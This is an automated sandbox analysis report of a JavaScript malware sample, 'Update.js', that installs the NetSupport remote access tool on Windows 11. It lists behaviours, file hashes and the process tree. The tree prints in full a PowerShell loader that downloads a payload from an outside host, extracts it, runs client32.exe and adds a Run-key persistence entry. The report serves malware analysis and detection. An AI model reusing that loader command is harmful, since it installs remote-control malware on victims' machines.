Analysis
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max time kernel
922s -
max time network
1190s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
08-10-2024 13:16
Static task
static1
Behavioral task
behavioral1
Sample
Update.js
Resource
win11-20241007-en
General
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Target
Update.js
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Size
3.9MB
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MD5
01d7daa58e16da2b30ac20fe57081bba
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SHA1
8213900420ed4c22b1e896acb53f99a5989cb2cd
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SHA256
a05933c299a81badef96fd575ff0f7d934c3edaf0f7478e897a2299f1ef8f11e
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SHA512
9a99fbf90fb7274cb0a1300c8052ee419258575b6202df9f78ed0c5dd0d5905cab63a92a96d426261257bead247b125bc05086f622589f3080abd53cddd14f64
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SSDEEP
49152:OCz4F9dM2furCz4F9dM2fuVCz4F9dM2furCz4F9dM2fuWCz4F9dM2furCz4F9dME:OkGgkGMkGgkGNkGgkG9
Malware Config
Extracted
https://ggoryo.com/trade/da.php?8158
https://ggoryo.com/trade/da.php?8158
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
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Blocklisted process makes network request 5 IoCs
Processes:
wscript.exepowershell.exeflow pid Process 2 4628 wscript.exe 3 4628 wscript.exe 4 4628 wscript.exe 5 4628 wscript.exe 9 3732 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Executes dropped EXE 2 IoCs
Processes:
client32.exeBabylon.exepid Process 3952 client32.exe 3584 Babylon.exe -
Loads dropped DLL 14 IoCs
Processes:
client32.exeBabylon.exepid Process 3952 client32.exe 3952 client32.exe 3952 client32.exe 3952 client32.exe 3952 client32.exe 3952 client32.exe 3584 Babylon.exe 3584 Babylon.exe 3584 Babylon.exe 3584 Babylon.exe 3584 Babylon.exe 3584 Babylon.exe 3584 Babylon.exe 3584 Babylon.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2253712635-4068079004-3870069674-1000\Software\Microsoft\Windows\CurrentVersion\Run\MRNLCYZBPQP = "C:\\Users\\Admin\\AppData\\Roaming\\RTIGINT-1\\client32.exe" powershell.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
client32.exedescription ioc Process File opened (read-only) \??\B: client32.exe File opened (read-only) \??\N: client32.exe File opened (read-only) \??\K: client32.exe File opened (read-only) \??\M: client32.exe File opened (read-only) \??\O: client32.exe File opened (read-only) \??\V: client32.exe File opened (read-only) \??\W: client32.exe File opened (read-only) \??\X: client32.exe File opened (read-only) \??\T: client32.exe File opened (read-only) \??\A: client32.exe File opened (read-only) \??\G: client32.exe File opened (read-only) \??\I: client32.exe File opened (read-only) \??\J: client32.exe File opened (read-only) \??\P: client32.exe File opened (read-only) \??\Q: client32.exe File opened (read-only) \??\S: client32.exe File opened (read-only) \??\U: client32.exe File opened (read-only) \??\Y: client32.exe File opened (read-only) \??\E: client32.exe File opened (read-only) \??\H: client32.exe File opened (read-only) \??\L: client32.exe File opened (read-only) \??\R: client32.exe File opened (read-only) \??\Z: client32.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
tar.exeBabylon.execlient32.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tar.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Babylon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language client32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 3732 powershell.exe 3732 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.execlient32.exedescription pid Process Token: SeDebugPrivilege 3732 powershell.exe Token: SeSecurityPrivilege 3952 client32.exe -
Suspicious use of FindShellTrayWindow 5 IoCs
Processes:
client32.exepid Process 3952 client32.exe 3952 client32.exe 3952 client32.exe 3952 client32.exe 3952 client32.exe -
Suspicious use of SendNotifyMessage 2 IoCs
Processes:
client32.exepid Process 3952 client32.exe 3952 client32.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
wscript.exepowershell.execlient32.exedescription pid Process procid_target PID 4628 wrote to memory of 3732 4628 wscript.exe 77 PID 4628 wrote to memory of 3732 4628 wscript.exe 77 PID 3732 wrote to memory of 3952 3732 powershell.exe 79 PID 3732 wrote to memory of 3952 3732 powershell.exe 79 PID 3732 wrote to memory of 3952 3732 powershell.exe 79 PID 3952 wrote to memory of 1816 3952 client32.exe 81 PID 3952 wrote to memory of 1816 3952 client32.exe 81 PID 3952 wrote to memory of 1816 3952 client32.exe 81 PID 3952 wrote to memory of 3584 3952 client32.exe 83 PID 3952 wrote to memory of 3584 3952 client32.exe 83 PID 3952 wrote to memory of 3584 3952 client32.exe 83
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update.js1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $BCALRVYN='https://ggoryo.com/trade/da.php?8158';$NQCRPX=(New-Object System.Net.WebClient).DownloadString($BCALRVYN);$ISXTS=[System.Convert]::FromBase64String($NQCRPX);$asd = Get-Random -Minimum -5 -Maximum 12; $YNOK=[System.Environment]::GetFolderPath('ApplicationData')+'\RTIGINT'+$asd;if (!(Test-Path $YNOK -PathType Container)) { New-Item -Path $YNOK -ItemType Directory };$p=Join-Path $YNOK 'CXCC.zip';[System.IO.File]::WriteAllBytes($p,$ISXTS);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YNOK)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YNOK 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YNOK -Force; $fd.attributes='Hidden';$s=$YNOK+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='MRNLCYZBPQP';$ASDASD='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $ASDASD;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3732 -
C:\Users\Admin\AppData\Roaming\RTIGINT-1\client32.exe"C:\Users\Admin\AppData\Roaming\RTIGINT-1\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\SysWOW64\tar.exe"C:\Windows\SYSTEM32\tar.exe" -xf C:\Users\Public\baby.zip -C C:\Users\Public4⤵
- System Location Discovery: System Language Discovery
PID:1816
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C:\Users\Public\Babylon.exe"C:\Users\Public\Babylon.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3584
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
195B
MD5e9609072de9c29dc1963be208948ba44
SHA103bbe27d0d1ba651ff43363587d3d6d2e170060f
SHA256dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747
SHA512f0e26aa63b0c7f1b31074b9d6eef88d0cfbc467f86b12205cb539a45b0352e77ce2f99f29baeab58960a197714e72289744143ba17975699d058fe75d978dfd0
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
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Filesize
3.6MB
MD5d3d39180e85700f72aaae25e40c125ff
SHA1f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA25638684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f
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Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
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Filesize
670B
MD515221731b8c78d255535a98220f55385
SHA1917cba1d62dc16241700ac2027a67b62dbd03450
SHA256b23705ddaf4dd0da82ea5c70f7b406f13529b624dfcf8ec2c9099c07de5b997d
SHA5120883c5b8bd9865fa31614f7c8054144323dd4fc5acd73f7e1dec1782b1bdb2da7f7af4aa9bba76847eee42a566c5843b2f021accab477805babab89db6dccf03
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
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Filesize
62KB
MD56fca49b85aa38ee016e39e14b9f9d6d9
SHA1b0d689c70e91d5600ccc2a4e533ff89bf4ca388b
SHA256fedd609a16c717db9bea3072bed41e79b564c4bc97f959208bfa52fb3c9fa814
SHA512f9c90029ff3dea84df853db63dace97d1c835a8cf7b6a6227a5b6db4abe25e9912dfed6967a88a128d11ab584663e099bf80c50dd879242432312961c0cfe622
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Filesize
142KB
MD5a2d4928c9836812735b3516c6950a9ec
SHA101873285eec57b208fa2d4b71d06f176486538c8
SHA25679ca108d5c51259d8fb38ed1cfcc5a70e9cf67a5954e52a4339b39ff04fa20c8
SHA512d03964a2bb597bf0fdefb787de3b462010c4cd02d286b16587a03b5228553a307d1b8f472c312e0d8bb53f21570aa5b112d85193cf42b83ef33fb7905855eba7
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Filesize
922KB
MD5369c28e44083111798018294ec26bed7
SHA1d93038b19ff4486e95b4de8c2a29d8320211d658
SHA2560e04e2edd3ba0555b259001ed494689e82d87ef89655e47a0afbb804e7d4be63
SHA51233f62bdf556675c92363cc6b9ba0b706d6208d6e8dae9ba89b753e60df2f19aa0cb0480157b180f31e2c4fde2f6244968a2c29e8745ad3014c19a2d991c8a3bf
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Filesize
2.4MB
MD5a250242d10ac8c7850cc61ccbea4b427
SHA10c58d4bb9e0a04f466b50bfd1bfd32adac372d54
SHA256b7441376afa9b03845c444faf2093067f8d99675ea4074a6418679b883a9a886
SHA5129bbff45201b48c9894e6a53cedef7c5d2583a79326eec01149672173cf20545483cf9d769aa4a5de8b0146f363c270ef420b8ef574f26a1a1e645569fcd72a6e
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Filesize
318KB
MD5781a921074043cf5793b59adb50f6af1
SHA10d078c5efa5583cea6497fd779db8308ffbf372c
SHA25687c1a3dd63f08b62bf3d14b45d1cb9cb92727a86b32cb20dd002f07fbd6dac75
SHA512abd62aa1a3bb936d0064e1092ab57b31c57f9947d9a7a2bd2b29357d4edbbfc31d4ab34ae91f4557dba9d99febc92c9bc4f0daed17955db7d4a68f42b35d5f93
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Filesize
3.4MB
MD58f8d800d5a43b7a28862ca1217e23e24
SHA1a24a9e4c1f1f93bdaa37e6b76ec4576e2fbccc1d
SHA256546565524f2d3a63eb66aa9615f290eb2fdc58a1befdc442fc7d3942edb1df69
SHA51235ff0d8619b696aecb306ded54167e2f91b2efe2c89a60cc8422163d1e3ac98441a821e556b1c090c92800c36f873b1ac0017f55ea84dc5cd414f1e4b5f28d92
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Filesize
10.6MB
MD5115879b6c22fada42ee0249de5896864
SHA10154d80635ef6f93e8adeeb8055400268ae830e6
SHA256db5521f5d0025a847cb18f6b3479b57e9304921c3c1a8ac056174b9679319fa7
SHA512d2ba08feac530fc07a167e2c56786e78c059790821b61a6135b820b40cbab206ead8cdfc4d154490693caac48d408092dd9a1faf3c4ae367cb35a7b37e2ca560
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Filesize
3.2MB
MD559176157f5372608d65e905dd62a2f6f
SHA106ff829d2d32fa3ce062ce9436209e717c4a441f
SHA2567c3fdb2347d74cbc4a0030579e54af1dace341633146b704c586f92a84b59eca
SHA512e03c7688cfe2ff65d568307f74295ca4ab62c2a95e37c0157d90d6b3baabb42e18d664f09c7af7317e2df7066c2c587e03f0221ac06af8055dfea70faf310868
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Filesize
1.6MB
MD52941c9454b5902bb0aadf9432734cd57
SHA153776263c78b91c5bb9fbd8e82066893a5dd82bc
SHA2569aa97345c029fdbb76cca5a8f81a8858da32d7e70744f3202e962e4a00058685
SHA5123db9ed1e8b5f83b23d71c09c76c3f52046949b02796fd163b22031769959e93cd6721e141a661a8b1645b1cce03129b9a5e5f08ccdc179ca47a63a5ca731e37d
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Filesize
1.5MB
MD5d93b75710b05b68f5a9d4a732bfb0324
SHA13df4e355deaf96147dd3927fc2d33b235cad7574
SHA2565a29bb6e7f1be3b736f40fca1badef85c6e689238b85428fb4f604aaf0fb6ee8
SHA5124a501a7c63699c190e0039a6d4ac0372acb9f43a9a93b6141f673343a7d969dbf3c3ecdb9689c7241d59d050cc9e548e6b040868f5be304762795370e797f6f5
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Filesize
3.1MB
MD554cc32dbbca83c7efd137f3b9b729a23
SHA1f6156eaea5b9d93ac88db9f33853791d66dd5349
SHA2567c7cdb7547eca8bff489b85106d8a4e830b76681607634f43806f40dcdc5eb95
SHA512dcbc88a480330122d54e2782f024446ac3e5566df40bf25e2c389c53413524f9639557d8b46b0c5f54116bce45b332aa10a13966a1249958945b636326d48076
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Filesize
383KB
MD5afcfc410aa9a67814bf4550e45b0c7de
SHA135aa10dbdb9c191ef4810c9f186a3575c6f4c9d4
SHA25637b53bf337ec79e3713a30c238a2bd24cbb41134dd83117cbc1a5d97537e6700
SHA512efd65d9d0f23790be9c17ed37176288d401672c95b2779456f9b54870a400684fbbab26389d7d75d94e6f964df3290a2b498f705e1f74d4b4b38b4d206eebbfd